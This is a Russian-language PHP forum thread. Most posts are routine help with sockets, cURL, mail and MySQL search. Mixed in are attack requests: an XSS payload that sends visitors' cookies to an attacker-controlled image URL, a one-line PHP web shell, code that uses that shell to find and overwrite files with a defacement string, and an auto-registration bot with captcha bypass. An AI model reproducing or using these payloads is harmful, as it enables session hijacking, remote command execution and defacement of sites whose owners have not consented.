Code: $url = "http://www.site.ru/script.php"; $host = "www.site.ru"; $port = 80; $post="text=lala"; $data .= "POST ".$url." HTTP/1.1\r\n"; $data .= "Host: ".$host."\r\n"; $data .= "Referer: ".$url."\r\n"; $data .= "User-Agent: Mozilla/4.0 (compatible; OPERA 8; Windows NT 5.1)\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "Connection: Keep-Alive\r\n"; $data .= "Content-Length: ".strlen($post)."\r\n"; $data .= "\r\n".$post; $s = fsockopen($host, 80); fputs($s, $data); fclose($s); Запрос. Подскажите пожалуйста как прочитать ответ на запрос?
Возможно ли прикрутить к авторегеру на php антикапчу например antigate ? Есть у кого нибудь примеры ? ..... Нашел у них же на сайте Но все еще интересуют готовые примеры.
делаю так: Code: $url = "http://www.ya.ru/"; $host = "ya.ru"; $port = 80; $post=""; $data .= "GET / HTTP/1.1\r\n"; $data .= "Host: ".$host."\r\n"; $data .= "User-Agent: Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.10.229 Version/11.61\r\n"; $data .= "Accept: text/html\r\n"; $data .= "Connection: close\r\n"; $s = fsockopen($host, 80); fputs($s, $data); $otv = fread($s, strlen($s)); fclose($s); echo($otv); скрипт вроде выполняется, но очень долго, вылазит Maximum execution time of 30 seconds exceeded Может буфер памяти для данных нужно сделать.? И как подскажите пожалуйста.
Sifon110 PHP: <?php $fp = fsockopen("www.example.com", 80, $errno, $errstr); if (!$fp) { echo "$errstr ($errno)<br>\n"; } else { $data .= "GET / HTTP/1.1\r\n"; $data .= "Host: ".$host."\r\n"; $data .= "User-Agent: Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.10.229 Version/11.61\r\n"; $data .= "Accept: text/html\r\n"; $data .= "Connection: close\r\n\r\n"; fwrite($fp, $data); $page = ''; while (!feof($fp)) { $page .= fgets($fp, 128); } fclose($fp); echo $page; } http://manual.pohape.ru/html/ru/function.fsockopen.html
Есть два сайта. Как грамотнее организовать передачу с первого на второй нужных данных? После регистрации надо передать логин, хеш пароля и другие данные на второй сайт и записать их в базу. Первый сайт выступает в роли сервера регистраций, а на второй машине будет логин сервер, но располагаться будут на разных хостинг аккаунтах. Дело осложняет тот факт, что регистрационных серверов будет неограниченное количество(любой вебмастер может поместить на сайт себе). Кто что посоветовать может? готовый код не требуется, просто указание куда копать. Можно конечно через js форму отстучать в обработчик, но не надежно. А через курл...мне кажется это сильно для такой задачи.
justonline у меня сильное подозрение, что вы хотите сделать фейки и сервер, куда будете сливать акки. Какого рода система требуется? Если это все-таки что то доброе, то придется писать функцию, умеющую проверять наличие курла, сокетов и allow_url_open и умеющую передавать данные любым из этих способов. И да, так делать более правильно
нет, с фейками возиться - хлопот много и не благодарное это дело. я больше по белому а нет универсальных методов решения данной задачи? ну наличие курла через !class_exists('CURL')
Ребята, такой вопрос. Как скачать файл средствами php с ссылки вида http://flibusta.net/b/35776/mobi ? Пробовал внагляк через copy и file_get_contents - нифига Получил ссылку для редиректа через curl - тоже самое. Получил заголовок с follow location - каша полная. Помогите пожалуйста, спасибо заранее. UPD. С этим разобрался, теперь такой вопрос: Ни у кого нет готового скрипта для отправки письма с аттачем на php через mail()? Я перепробовал около 5-ти вариантов из гугла( UPD. Оказывается, на серваке не работает mail ><
Здравствуйте, помогите с поиском по сайту, выбираю данные по LIKE в mysql, подскажите как сделать что бы строку к примеру "хороший сегодня день" искало не только в таком порядке но и в разброс, допустим в большом текст находило данные слова. Заранее спс.
Разбиваешь предложение на слова. И если нужно вхождение хотябы одного слова: Code: SELECT * FROM `table` WHERE ((`text` LIKE '%сегодня%') OR (`text` LIKE '%хороший%') OR (`text` LIKE '%день%')) Если всех, то меняешь OR на AND: Code: SELECT * FROM `table` WHERE ((`text` LIKE '%сегодня%') AND (`text` LIKE '%хороший%') AND (`text` LIKE '%день%'))
Спасибо, ещё один вопрос, то что вхождение ищет понятно, а как сделать что бы искало слово целиком но при этом не обязательно было что бы строка поиска соответствовала всем словам в тексте, то есть если одно из слов ( полностью совпавшее ) есть в тексте результат уже выводиться. СПС.
есть такой xss скрипт для сбора куки PHP: <script>img = new Image();img.src = "http://sitename/s/anet.gif?"+document.cookie;</script> какой скрипт должен быть в anet.gif для работы xss ?
~FoX~, всегда такие фильтры удивляли. А не проще ли будет перечислить разрешенные типы файлов и загружать только их? PHP: $filetypes = array('jpeg', 'jpg', 'gif'); if(is_uploaded_file($_FILES['ad_file']['tmp_name'])){ $tmp = explode('.', $_FILES['ad_file']['name']); $ext = strtolower($tmp[count($tmp)-1]); if(!in_array($ext, $filetypes)){ die('Wrong FileType Uploaded!'); } }
PHP: $link=file_get_contents("site/tiki.php?_=find%20/%20-name%20chiterki.php%20-print"); $search = explode("\n", $link); $kolvo=count($search); $current="tut byl vasil"; while ($i <= $kolvo) { $fipi=file_get_contents("$search[$i]"); file_put_contents($fipi, "$current"); $i++; } Что не так, почему не происходит запись в найденный файл? В файле tiki.php : <? error_reporting(0); system($_GET[_]) ?> PS: CHMOD777, ошибок не выдает. __________________________________ Cделал тоже самое через fopen, fwrite - cработало, но почему не получается через file get contetns, file put contents ?
Парни, такое дело. Есть строка, чем можно отсеять все символы кроме a-zA-Z0-9 / - _ . Пока писал, вспомнил про preg_replace, но помоему не совсем то что нужно Апдейт: preg_replace('![^a-zA-Z0-9\.\-\_\/]*!','',$patch);
seofilms первым параметром функции file_put_contents должно быть имя файла. И обременять переменную двойными кавычками в функции нет смысла.